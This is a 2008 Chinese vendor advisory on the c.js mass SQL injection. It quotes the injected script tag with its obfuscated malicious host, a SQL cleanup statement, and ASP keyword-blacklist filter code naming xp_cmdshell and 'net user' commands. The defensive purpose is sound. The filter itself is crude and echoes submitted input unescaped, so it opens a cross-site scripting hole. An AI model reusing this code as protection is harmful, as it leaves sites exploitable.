English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> 防止最近流行的com/css/c.js注入的解决方法

 

防止最近流行的com/css/c.js注入的解决方法

威盾防火墙 2008-12-15

 

最近流行的病毒SQL代码:Script Src=http://c.nu%63%6Cear3.com/css/c.js>现已找到解决办法。
直接复制下面的代码保存一个ASP文件
#include到数据库连接文件就OK了
至于已经存在的咋数据库直接运行一下代码替换
update ass set title =replace(cast(title as varchar(8000)),’js代码段’,”)

只能一个字段一个字段的进行替换,没有别的办法


<%
'--------定义部份------------------
Dim XH_Post,XH_Get,XH_Cookie,XH_In,XH_Inf,XH_Xh,XH_Inf2,XH_In2
'自定义需要过滤的字串,用 "|" 分隔
XH_In = "'|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
XH_In2 = "'|;|and|exec|insert|select|delete%20from|update|count|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"
'----------------------------------
%>

<%
XH_Inf = split(XH_In,"|")
XH_Inf2 = split(XH_In2,"|")
'--------POST部份------------------
If Request.Form<>"" Then
For Each XH_Post In Request.Form

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.Form(XH_Post)),XH_Inf(XH_Xh))<>0 Then
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:POST<br>"
Response.Write "提交参数:"&XH_Post&"<br>"
Response.Write "提交数据:"&Request.Form(XH_Post)
Response.End
End If
Next
Next
End If
'----------------------------------

'--------GET部份-------------------
If Request.QueryString<>"" Then
For Each XH_Get In Request.QueryString

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&XH_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(XH_Get)
Response.End
End If
Next
Next
End If
'----------------------------------

'--------COOKIE部份-------------------
If Request.Cookies<>"" Then
For Each XH_Cookie In Request.Cookies

For XH_Xh=0 To Ubound(XH_Inf2)
If Instr(LCase(Request.Cookies(XH_Cookie)),XH_Inf2(XH_Xh))<>0 Then
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:Cookie<br>"
Response.Write "提交参数:"&XH_Cookie&"<br>"
Response.Write "提交数据:"&Request.Cookies(XH_Cookie)
Response.End
End If
Next
Next
End If
'----------------------------------
%>

如果有必要用cookie做认证的可以用下面试验下,可以保证躲过这次的自动攻击,但手动攻击不保证能防住,有条件的还是把cookie认证改成session认证保险点
如果没有COOKIE认证,可以直接用这个,代码不需要修改
代码如下

<%

'--------定义部份------------------
Dim XH_Post,XH_Get,XH_Cookie,XH_In,XH_Inf,XH_Xh
'自定义需要过滤的字串,用 "|" 分隔
XH_In = "'|;|and|exec|insert|select|delete%20from|update|count|*|%|chr|mid|master|truncate|char|declare|drop%20table|from|net%20user|xp_cmdshell|/add|net%20localgroup%20administrators|Asc|char"

'----------------------------------
%>

<%
XH_Inf = split(XH_In,"|")

'--------POST部份------------------
If Request.Form<>"" Then
For Each XH_Post In Request.Form

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.Form(XH_Post)),XH_Inf(XH_Xh))<>0 Then
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:POST<br>"
Response.Write "提交参数:"&XH_Post&"<br>"
Response.Write "提交数据:"&Request.Form(XH_Post)
Response.End
End If
Next
Next
End If
'----------------------------------

'--------GET部份-------------------
If Request.QueryString<>"" Then
For Each XH_Get In Request.QueryString

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.QueryString(XH_Get)),XH_Inf(XH_Xh))<>0 Then
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交参数:"&XH_Get&"<br>"
Response.Write "提交数据:"&Request.QueryString(XH_Get)
Response.End
End If
Next
Next
End If
'----------------------------------

'--------COOKIE部份-------------------
If Request.Cookies<>"" Then
For Each XH_Cookie In Request.Cookies

For XH_Xh=0 To Ubound(XH_Inf)
If Instr(LCase(Request.Cookies(XH_Cookie)),XH_Inf(XH_Xh))<>0 Then
Response.Write "非法操作!系统做了如下记录↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作时间:"&Now&"<br>"
Response.Write "操作页面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:Cookie<br>"
Response.Write "提交参数:"&XH_Cookie&"<br>"
Response.Write "提交数据:"&Request.Cookies(XH_Cookie)
Response.End
End If
Next
Next
End If
'----------------------------------
%>
为了自己的网站不再被SQL注入,请大家及时安装威盾专业网站防火墙。

相关内容: 最新内容:
传美议员促奥巴马严防中国网络黑客[2008-12-15]
Windows系统用户摆脱黑客攻击的方法[2008-12-15]
妙用Windows磁盘配额 让黑客无从下手[2008-12-15]
ADSL用户如何防御黑客攻击[2008-12-15]
Internet Explorer 0day漏洞可能会愈演愈烈[2008-12-15]
黑客侵入嘉兴移动 盗发短信竟达73万条[2008-12-15]